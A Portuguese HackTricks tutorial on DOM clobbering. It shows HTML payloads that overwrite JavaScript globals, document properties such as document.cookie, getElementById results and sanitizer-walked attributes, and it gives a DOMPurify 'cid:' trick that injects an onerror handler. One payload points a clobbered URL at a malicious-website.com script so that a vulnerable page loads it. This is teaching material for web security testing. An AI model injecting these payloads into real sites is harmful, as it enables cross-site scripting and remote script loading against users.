mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 11:03:24 +00:00
222 lines
14 KiB
Markdown
222 lines
14 KiB
Markdown
# Dom Clobbering
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## **Fundamentos**
|
||
|
||
É possível gerar **variáveis globais dentro do contexto JS** com os atributos **`id`** e **`name`** em tags HTML.
|
||
```html
|
||
<form id=x></form>
|
||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||
```
|
||
Apenas certos elementos podem usar o atributo **name** para clobber globals, eles são: `embed`, `form`, `iframe`, `image`, `img` e `object`.
|
||
|
||
Curiosamente, quando você usa um **elemento de formulário** para **clobber** uma variável, você obterá o valor **`toString`** do próprio elemento: `[object HTMLFormElement]`, mas com **âncora** o **`toString`** será o **`href`** da âncora. Portanto, se você clobber usando a tag **`a`**, você pode **controlar** o **valor** quando ele é **tratado como uma string**:
|
||
```html
|
||
<a href="controlled string" id=x></a>
|
||
<script>
|
||
console.log(x);//controlled string
|
||
</script>
|
||
```
|
||
### Arrays e Atributos
|
||
|
||
Também é possível **sobrescrever um array** e **atributos de objetos**:
|
||
```html
|
||
<a id=x>
|
||
<a id=x name=y href=controlled>
|
||
<script>
|
||
console.log(x[1])//controlled
|
||
console.log(x.y)//controlled
|
||
</script>
|
||
```
|
||
Para sobrescrever **um terceiro atributo** (por exemplo, x.y.z), você precisa usar um **`formulário`**:
|
||
```html
|
||
<form id=x name=y><input id=z value=controlled></form>
|
||
<form id=x></form>
|
||
<script>
|
||
alert(x.y.z.value)//controlled
|
||
</script>
|
||
```
|
||
Sobrescrever mais atributos é **mais complicado, mas ainda é possível**, usando iframes:
|
||
```html
|
||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>alert(x.y)//controlled</script>
|
||
```
|
||
{% hint style="warning" %}
|
||
A tag de estilo é usada para **dar tempo suficiente para o iframe ser renderizado**. Sem ela, você encontrará um alerta de **indefinido**.
|
||
{% endhint %}
|
||
|
||
Para clobber atributos mais profundos, você pode usar **iframes com codificação html** desta maneira:
|
||
```html
|
||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>
|
||
alert(a.b.c.d.e)//controlled
|
||
</script>
|
||
```
|
||
### **Burlando Filtros**
|
||
|
||
Se um filtro está **percorrendo** as **propriedades** de um nó usando algo como `document.getElementByID('x').attributes`, você pode **sobrescrever** o atributo **`.attributes`** e **quebrar o filtro**. Outras propriedades do DOM como **`tagName`**, **`nodeName`** ou **`parentNode`** e outras também são **sobrescrevíveis**.
|
||
```html
|
||
<form id=x></form>
|
||
<form id=y>
|
||
<input name=nodeName>
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById('x').nodeName)//FORM
|
||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
## **Clobbering `window.someObject`**
|
||
|
||
Um padrão comum usado por desenvolvedores JavaScript é:
|
||
```javascript
|
||
var someObject = window.someObject || {};
|
||
```
|
||
Se você pode controlar parte do HTML na página, pode sobrescrever a referência `someObject` com um nó DOM, como um link. Considere o seguinte código:
|
||
```html
|
||
<script>
|
||
window.onload = function(){
|
||
let someObject = window.someObject || {};
|
||
let script = document.createElement('script');
|
||
script.src = someObject.url;
|
||
document.body.appendChild(script);
|
||
};
|
||
</script>
|
||
```
|
||
Para explorar este código vulnerável, você poderia injetar o seguinte HTML para sobrescrever a referência `someObject` com um elemento de âncora:
|
||
|
||
{% code overflow="wrap" %}
|
||
```html
|
||
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
|
||
```
|
||
{% endcode %}
|
||
|
||
Injetar os dados **`window.someObject.url`** resultará em `href=//malicious-website.com/malicious.js`.
|
||
|
||
**Truque**: **`DOMPurify`** permite que você use o protocolo **`cid:`**, que **não codifica em URL as aspas duplas**. Isso significa que você pode **injetar uma aspa dupla codificada que será decodificada em tempo de execução**. Portanto, injetar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** fará com que a aspa dupla codificada `"` seja **decodificada em tempo de execução** e **escape** do valor do atributo para **criar** o evento **`onerror`**.
|
||
|
||
Outra técnica comum consiste em usar o elemento **`form`**. Algumas bibliotecas do lado do cliente passarão pelos atributos do elemento de formulário criado para sanitizá-lo. Mas, se você criar um `input` dentro do formulário com `id=attributes`, você irá **sobrescrever a propriedade de atributos** e o sanitizador **não** poderá passar pelos **atributos reais**.
|
||
|
||
Você pode [**encontrar um exemplo desse tipo de sobrescrita em um writeup de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Sobrescrevendo o objeto document
|
||
|
||
De acordo com a documentação, é possível sobrescrever atributos do objeto document usando o DOM Clobbering:
|
||
|
||
> A interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [suporta propriedades nomeadas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Os [nomes de propriedade suportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de um objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) em qualquer momento consistem no seguinte, em [ordem de árvore](https://dom.spec.whatwg.org/#concept-tree-order) de acordo com o elemento que os contribuiu, ignorando duplicatas posteriores, e com valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) vindo antes de valores de atributos de nome quando o mesmo elemento contribui ambos:
|
||
>
|
||
> \- O valor do atributo de conteúdo de nome para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo de nome não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como sua [raiz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como sua [raiz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que têm tanto um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio quanto um atributo de conteúdo de nome não vazio, e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como sua [raiz](https://dom.spec.whatwg.org/#concept-tree-root).
|
||
|
||
Usando essa técnica, você pode sobrescrever **valores comumente usados, como `document.cookie`, `document.body`, `document.children`**, e até mesmo métodos na interface Document, como `document.querySelector`.
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
## Escrevendo após o elemento clobbered
|
||
|
||
Você pode clobber os resultados de uma chamada **`document.getElementById()`** e **`document.querySelector()`** se **você injetar uma tag `<html>` ou `<body>` com o mesmo atributo id**. Aqui está um exemplo:
|
||
```html
|
||
<div style=display:none id=cdnDomain class=x>test</div>
|
||
<p>
|
||
<html id="cdnDomain" class=x>clobbered</html>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText);//clobbbered
|
||
alert(document.querySelector('.x').innerText);//clobbbered
|
||
</script>
|
||
```
|
||
O que também é interessante é que você pode **ocultar elementos do `innerText`**, então se você injetar uma tag HTML/body, você pode usar estilos para ocultá-la do `innerText` para evitar que outro texto interfira no seu ataque:
|
||
```html
|
||
<div style=display:none id=cdnDomain>test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">clobbered</html>
|
||
<style>
|
||
p{display:none;}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText);//clobbbered
|
||
</script>
|
||
```
|
||
Analisamos também o SVG e é possível usar a tag `<body>` lá:
|
||
```html
|
||
<div style=display:none id=cdnDomain>example.com</div>
|
||
<svg><body id=cdnDomain>clobbered</body></svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText)//clobbered
|
||
</script>
|
||
```
|
||
Você precisa de uma tag `<foreignobject>` para usar a tag HTML dentro do SVG no Chrome e no Firefox:
|
||
```html
|
||
<div style=display:none id=cdnDomain>example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id=cdnDomain>clobbered</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText)//clobbered
|
||
</script>
|
||
```
|
||
## Clobbering de Formulários
|
||
|
||
É possível adicionar **novas entradas dentro de um formulário** apenas especificando o atributo `form` dentro de algumas tags. Você pode usar isso para **adicionar novos valores dentro de um formulário** e até mesmo adicionar um novo **botão** para **enviá-lo** (clickjacking ou abusando de algum código JS `.click()`):
|
||
|
||
{% code overflow="wrap" %}
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form=id-other-form name=info>
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
{% endcode %}
|
||
|
||
* Para mais atributos de formulário em [**botão verifique isso**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||
|
||
## Referências
|
||
|
||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
* Heyes, Gareth. JavaScript para hackers: Aprenda a pensar como um hacker.
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|